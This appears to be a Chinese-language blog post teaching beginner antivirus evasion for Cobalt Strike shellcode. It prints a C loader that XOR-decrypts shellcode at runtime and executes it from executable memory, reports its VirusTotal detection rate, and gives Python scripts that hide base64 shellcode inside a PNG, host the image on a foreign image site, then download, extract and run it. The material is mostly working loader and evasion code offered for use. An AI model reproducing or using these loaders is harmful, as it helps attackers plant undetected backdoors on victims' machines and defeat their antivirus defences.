shellcode免杀入门与office宏免杀

加载shellcode免杀这一问题是渗透过程中不可缺少的部分，以此使得我们的目标机器能够成功上线。此篇博客记录我免杀入门的简单尝试。

CS生成默认shellcode

a12245b2-eb73-43c7-b967-2eecbe335fed

603def95-d742-4373-95a7-173bf105f555

生成64位shellcode

5518169f-f5ab-4312-918b-958c7a6c6703

shellcode加密

首先采用如下算法对shellcode进行简单加密：

21406c10-6998-48b3-971a-453eccf5ec67

生成加密后的shellcode。然后我们编写加载程序。程序在运行后才对加密后的shellcode进行解密，所以执行前杀软扫不出shellcode特征码，实现静态查杀的效果。

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


unsigned char buf[] = "";
void main() {

    int i;
    for (i = 0; i < 927; i++) {
        buf[i] = buf[i] ^ buf[i + 1];
    }

    char* Memory;
    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}

成功上线：

5a2886c0-5bef-45a9-9d50-6e057991c578

e9ef3576-caf9-4e35-b4b5-34d195a6b461

VT 21/66，效果并不理想。

6e4ce2f8-a516-4df0-908e-6d7c712685c0

分离免杀

原理类似于加密shellcode。同样地，将原来的shellcode进行编码与加密，但是这里shellcode并不放入主程序，而是隐藏在其他文件中。这样，后门本体就没有shellcode了，运行时再从其他文件进行加载。

这里的脚本我将shellcode进行base64编码后，写入一个文件，并在最后两个字节记录base64编码后的shellcode的长度。

import base64

# 写入的shellcode
shellcode = b"shellcode"
# 待写入shellcode的文件路径
fileName = "E:/Desktop/免杀/第三方加载shellcode/guanxi.png"


based = base64.encodebytes(shellcode)
len_based = len(based)
print(based)

with open(fileName,"rb+") as f:
    strb = f.read()
    print(len(strb) // 1024, 'kb', len(strb) % 1024, 'bytes')

with open(fileName[:-4] + 'Coded' + fileName[-4:],"wb+") as f:
    f.write(strb + based + len_based.to_bytes(2, 'big'))

将文件上传到国外图床，加载时进行下载并解析执行：

import ctypes
import base64
import os
import requests


url = bytes(
    '编码后的图床url', 'ascii')
r = requests.get(base64.b64decode(url))
with open(os.path.expanduser('~') + '/guanxiCoded.png', "wb") as code:
    code.write(r.content)



# filename = '写入了shellcode的文件路径'
# filename = "%USERPROFILE%/guanxiCoded.png"
# 查找USERPROFILE文件夹下的guanxiCoded.png
filename = os.path.expanduser('~') + '/guanxiCoded.png'


with open(filename, "rb") as f:

    # 解析文件
    strb = f.read()
    len_based = int.from_bytes(strb[-2:], 'big')
    based = strb[-2-len_based: -2]
    # print(len(strb) // 1024, 'kb', len(strb) % 1024, 'bytes')
    shellcode = base64.decodebytes(based)


shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建 shellcode 的函数指针


shellcode_func = ctypes.cast(
    shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 执行 shellcode
shellcode_func()